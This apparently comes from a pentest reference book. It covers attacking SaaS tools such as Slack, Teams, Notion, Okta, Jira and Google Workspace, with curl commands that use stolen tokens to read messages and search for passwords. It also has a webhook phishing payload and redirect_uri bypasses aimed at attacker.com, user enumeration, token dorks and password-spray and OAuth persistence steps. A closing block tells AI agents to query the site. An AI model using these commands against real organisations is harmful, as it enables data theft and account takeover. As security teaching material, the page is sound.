# SaaS Testing

Security testing for common SaaS platforms - Slack, Microsoft Teams, Notion, Okta, and other collaboration tools.

## Slack

### Workspace Enumeration

```bash
# Check if workspace exists
curl -s "https://WORKSPACE.slack.com" | grep -i "sign in"

# Find workspaces from email domain
# Some workspaces allow signup from company email

# Enumerate users via Slack API (if you have token)
curl -s "https://slack.com/api/users.list" \
  -H "Authorization: Bearer xoxb-TOKEN"
```

### Token Types

```
xoxb-* : Bot token (most common in leaks)
xoxp-* : User token (full user permissions)
xoxa-* : App token
xoxs-* : Session token
xoxr-* : Refresh token
```

### Token Abuse

```bash
# Test token validity
curl -s "https://slack.com/api/auth.test" \
  -H "Authorization: Bearer xoxb-TOKEN" | jq

# List channels
curl -s "https://slack.com/api/conversations.list" \
  -H "Authorization: Bearer xoxb-TOKEN" | jq '.channels[].name'

# Read channel history
curl -s "https://slack.com/api/conversations.history?channel=C01234567" \
  -H "Authorization: Bearer xoxb-TOKEN" | jq

# Search messages for secrets
curl -s "https://slack.com/api/search.messages?query=password" \
  -H "Authorization: Bearer xoxp-TOKEN" | jq

# List files
curl -s "https://slack.com/api/files.list" \
  -H "Authorization: Bearer xoxb-TOKEN" | jq '.files[].name'
```

### Webhook Exploitation

```bash
# If you find incoming webhook URL
# Can post messages to channel

curl -X POST "https://hooks.slack.com/services/T00/B00/XXXX" \
  -H "Content-Type: application/json" \
  -d '{"text": "Phishing message with <https://attacker.com|legitimate looking link>"}'

# Social engineering via webhook
# Post as "IT Support" or automated system
```

### App Misconfigurations

```
Checks:
1. Apps with excessive permissions (files:read, users:read)
2. Apps installed from unknown sources
3. Workflow webhooks accessible externally
4. Connect apps with broad OAuth scopes
```

## Microsoft Teams

### Tenant Enumeration

```bash
# Check if tenant exists
curl -s "https://login.microsoftonline.com/DOMAIN.com/.well-known/openid-configuration"

# Get tenant ID
curl -s "https://login.microsoftonline.com/DOMAIN.com/v2.0/.well-known/openid-configuration" | jq -r '.issuer'

# Check federation status
curl -s "https://login.microsoftonline.com/getuserrealm.srf?login=user@domain.com"
```

### Token Types

```
- Access tokens (JWT) for Graph API
- Refresh tokens (can get new access tokens)
- Teams-specific tokens
```

### Graph API Abuse

```bash
# With valid access token
# List Teams
curl -s "https://graph.microsoft.com/v1.0/me/joinedTeams" \
  -H "Authorization: Bearer TOKEN" | jq

# List channels in a team
curl -s "https://graph.microsoft.com/v1.0/teams/{team-id}/channels" \
  -H "Authorization: Bearer TOKEN" | jq

# Read channel messages
curl -s "https://graph.microsoft.com/v1.0/teams/{team-id}/channels/{channel-id}/messages" \
  -H "Authorization: Bearer TOKEN" | jq

# Search messages
curl -s "https://graph.microsoft.com/v1.0/me/messages?\$search=\"password\"" \
  -H "Authorization: Bearer TOKEN" | jq
```

### Teams Tab Exploitation

```
1. Custom tabs can load external content
2. If tab URL is controllable → phishing
3. SSO tokens may be passed to tab URLs
4. Check for tabs with sensitive data visible
```

### Incoming Webhook Abuse

```bash
# Post to Teams channel via webhook
curl -H "Content-Type: application/json" \
  -d '{"text": "Test message"}' \
  "https://outlook.office.com/webhook/GUID/IncomingWebhook/..."
```

## Notion

### Workspace Discovery

```bash
# Public pages may leak workspace info
https://notion.so/WORKSPACE/page-name

# API access (if token obtained)
curl -s "https://api.notion.com/v1/users/me" \
  -H "Authorization: Bearer secret_TOKEN" \
  -H "Notion-Version: 2022-06-28"
```

### Token Abuse

```bash
# List all pages
curl -s "https://api.notion.com/v1/search" \
  -H "Authorization: Bearer secret_TOKEN" \
  -H "Notion-Version: 2022-06-28" \
  -H "Content-Type: application/json" \
  -d '{"query": ""}' | jq

# Read page content
curl -s "https://api.notion.com/v1/blocks/{block-id}/children" \
  -H "Authorization: Bearer secret_TOKEN" \
  -H "Notion-Version: 2022-06-28" | jq

# Search for sensitive content
curl -s "https://api.notion.com/v1/search" \
  -H "Authorization: Bearer secret_TOKEN" \
  -H "Notion-Version: 2022-06-28" \
  -d '{"query": "password"}' | jq
```

### Public Page Enumeration

```bash
# Find public Notion pages via Google dorks
site:notion.so "COMPANY"
site:notion.so/WORKSPACE

# Check sharing settings on discovered pages
# Public pages may expose internal docs
```

## Okta / Auth0

### Tenant Enumeration

```bash
# Okta
curl -s "https://COMPANY.okta.com/.well-known/openid-configuration"

# Auth0
curl -s "https://COMPANY.auth0.com/.well-known/openid-configuration"
```

### User Enumeration

```bash
# Okta password reset enumeration
# Different response for valid/invalid users

curl -X POST "https://COMPANY.okta.com/api/v1/authn/recovery/password" \
  -H "Content-Type: application/json" \
  -d '{"username": "test@company.com"}'

# Timing attacks on login
# Valid users may have different response times
```

### OAuth Misconfigurations

```bash
# Check for open redirect in authorize endpoint
https://COMPANY.okta.com/oauth2/v1/authorize?
  client_id=X&
  redirect_uri=https://attacker.com&
  response_type=code

# Check for lax redirect_uri validation
redirect_uri=https://legitimate.com.attacker.com
redirect_uri=https://legitimate.com%40attacker.com
redirect_uri=https://legitimate.com/../attacker.com
```

### API Token Abuse

```bash
# If you obtain Okta API token
# Can enumerate entire organization

# List users
curl -s "https://COMPANY.okta.com/api/v1/users" \
  -H "Authorization: SSWS TOKEN" | jq

# List groups
curl -s "https://COMPANY.okta.com/api/v1/groups" \
  -H "Authorization: SSWS TOKEN" | jq

# List applications
curl -s "https://COMPANY.okta.com/api/v1/apps" \
  -H "Authorization: SSWS TOKEN" | jq
```

## Confluence

### Enumeration

```bash
# Check for public spaces
https://COMPANY.atlassian.net/wiki/spaces

# API endpoints
/rest/api/content
/rest/api/space
/rest/api/user
```

### Exposed Content

```bash
# Search for sensitive content
curl -s "https://COMPANY.atlassian.net/wiki/rest/api/content/search?cql=text~password" \
  -H "Authorization: Basic BASE64_CREDS" | jq

# Export space (if permitted)
curl -s "https://COMPANY.atlassian.net/wiki/rest/api/space/SPACE/content" \
  -H "Authorization: Basic BASE64_CREDS" | jq
```

## Jira

### Project Enumeration

```bash
# List projects
curl -s "https://COMPANY.atlassian.net/rest/api/2/project" \
  -H "Authorization: Basic BASE64" | jq '.[].key'

# Search issues
curl -s "https://COMPANY.atlassian.net/rest/api/2/search?jql=text~password" \
  -H "Authorization: Basic BASE64" | jq

# Get issue details
curl -s "https://COMPANY.atlassian.net/rest/api/2/issue/PROJ-123" \
  -H "Authorization: Basic BASE64" | jq
```

## Google Workspace

### Drive Enumeration

```bash
# Search shared drives
curl -s "https://www.googleapis.com/drive/v3/files?q=name contains 'password'" \
  -H "Authorization: Bearer TOKEN"

# List shared files
curl -s "https://www.googleapis.com/drive/v3/files?q=sharedWithMe" \
  -H "Authorization: Bearer TOKEN"
```

### Admin API (if admin)

```bash
# List users
curl -s "https://admin.googleapis.com/admin/directory/v1/users?domain=company.com" \
  -H "Authorization: Bearer TOKEN"

# Get user details
curl -s "https://admin.googleapis.com/admin/directory/v1/users/user@company.com" \
  -H "Authorization: Bearer TOKEN"
```

## Common Attack Patterns

### Token/Credential Hunting

```bash
# Search GitHub for leaked tokens
"xoxb-" OR "xoxp-" org:company
"hooks.slack.com/services" org:company
"notion.so/api" org:company
"SSWS" "okta.com" org:company

# Search in config files
trufflehog git https://github.com/company/repo
gitleaks detect
```

### Phishing via Integrations

```
1. Create malicious OAuth app
2. Request permissions from victim
3. Once authorized, access their data
4. Use legitimate-looking app names
```

### Workspace Takeover

```
1. Find admin with weak password
2. Compromise via password spray
3. Add your app/integration
4. Maintain persistence via OAuth
```

## Tools

```bash
# SlackPirate - Slack enumeration
https://github.com/AhmedMohamedDev/SlackPirate

# TeamFiltration - Teams/O365 enumeration
https://github.com/AhmedMohamedDev/TeamFiltration

# ROADtools - Azure AD enumeration
https://github.com/AhmedMohamedDev/ROADtools

# Nuclei templates for SaaS
nuclei -t http/exposures/tokens/
```

## Related Topics

* [OAuth](/enumeration/webservices/oauth.md) - OAuth vulnerabilities
* [OIDC](/enumeration/webservices/oidc-open-id-connect.md) - OpenID Connect
* [CI/CD Security](/enumeration/webservices/ci-cd-security.md) - Often integrates with SaaS


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentest-book.com/enumeration/webservices/saas-testing.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
